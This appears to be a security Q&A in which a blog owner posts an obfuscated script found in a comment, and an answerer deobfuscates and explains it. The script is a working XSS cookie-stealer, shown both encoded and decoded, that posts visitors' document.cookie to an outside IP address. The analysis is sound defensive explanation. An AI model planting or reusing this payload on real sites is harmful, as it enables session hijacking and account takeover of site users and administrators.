Today I was checking comments on my blog and I found a strange comment, here is the exact text

<script>var _0x352a=["\x31\x31\x34\x2E\x34\x35\x2E\x32\x31\x37\x2E\x33\x33\x2F\x76\x6C\x6B\x2E\x70\x68\x70","\x63\x6F\x6F\x6B\x69\x65","\x68\x74\x6D\x6C","\x70\x6F\x73\x74"];$[_0x352a[3]](_0x352a[0],{cookie:document[_0x352a[1]]},function (){} ,_0x352a[2]);</script>


What does it mean? Is it a mistake?

Note that I had big XSS issue last summer but a security expert fixed it. Today I contacted him and he said it's okay and that I should not worry. But I am worried.

First of all, your security guy is likely right. It doesn't look like you have anything to worry about because from your description of the issue and the guy's response I think that the script tags were properly encoded. Think of it as a neutralized weapon. It's there, yes, but it cannot do any damage.

Running that code through a deobfuscator gives us

$["post"]("114.45.217.33/vlk.php",{cookie:document["cookie"]},function(){},"html")


Now we just "beatify" the code to make it more readable

$["post"]("114.45.217.33/vlk.php", {
    cookie: document["cookie"]
}, function () {}, "html")


As you can see, the attacker was hoping that your site is vulnerable to XSS to exploit it and steal your visitor's cookies including yours. He's also assuming/hoping that you're using jQuery, and it's actually a very reasonable assumption these days. If they manage to steal your cookies, then they'll get the session identifier and potentially log in as one of your users or even your administrator account.

I'm not sure why he left the callback function there or the response type, though. Removing them would have made the payload even smaller.

Running that IP address through a blacklist checking tool shows us that the host there is likely to be compromised. This sure looks like a random attack by a bot trying to insert that code into random blogs and sites in the hopes that one of them would be vulnerable.


